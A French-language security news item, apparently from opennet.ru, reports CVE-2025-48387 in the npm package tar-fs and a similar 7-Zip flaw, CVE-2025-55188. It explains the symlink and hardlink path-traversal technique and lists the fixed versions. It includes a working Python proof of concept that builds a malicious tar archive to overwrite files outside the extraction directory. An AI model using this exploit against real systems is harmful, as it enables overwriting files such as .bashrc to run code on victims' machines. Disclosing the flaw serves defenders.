Une vulnérabilité (CVE-2025-48387) a été trouvée dans le package NPM tar-fs, permettant, lors de l'extraction d'une archive tar spécialement formatée, d'écrire des fichiers dans n'importe quelle partie du système de fichiers, sans être limité au répertoire dans lequel l'extraction est effectuée (dans la mesure où les droits d'accès de l'utilisateur actuel le permettent). La vulnérabilité peut également être utilisée pour écraser des fichiers existants, par exemple, pour exécuter du code dans le système, des fichiers comme «.ssh/id_rsa» ou «.bashrc» dans le répertoire personnel de l'utilisateur peuvent être écrits.
Le problème a été classé comme critique, étant donné que le package tar-fs a 23 millions de téléchargements par semaine et est utilisé comme dépendance dans 1155 projets. La vulnérabilité a été corrigée dans les versions 3.0.9, 2.1.3 et 1.16.5, qui ont été publiées en mai, mais l'information sur cette vulnérabilité n'a été divulguée qu'après près de 3 mois.
La vulnérabilité est causée par des vérifications insuffisantes des liens symboliques et durs présents dans l'archive pour s'assurer qu'ils ne dépassent pas le répertoire cible pour l'extraction. Deux liens symboliques sont utilisés pour contourner ces vérifications : le premier pointe vers le répertoire racine de l'archive («.»), et le second est créé par rapport au premier lien symbolique et utilise les caractères «../» pour sortir du répertoire de base. Par exemple, le premier lien «noop/noop/noop» pointe vers «.», alors que le deuxième «noop/noop/noop/../../..» est évalué comme «./../../..». Pour organiser le remplacement des fichiers dans l'archive, un lien dur peut être créé, se référant à un fichier externe par rapport au second lien symbolique. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
Une vulnérabilité similaire (CVE-2025-55188) a été découverte dans l'archivage 7-Zip. Des liens symboliques contenant la séquence « ..\/ » dans le chemin d'accès peuvent également être utilisés pour écrire des fichiers en dehors du répertoire de base dans 7-Zip. Ce problème peut être exploité lors de l'extraction de tout fichier compressé avec 7-Zip qui prend en charge les liens symboliques, tels que zip, tar, 7z et rar. Le problème a été résolu dans la version 7-Zip 25.01.
Source : opennet.ru
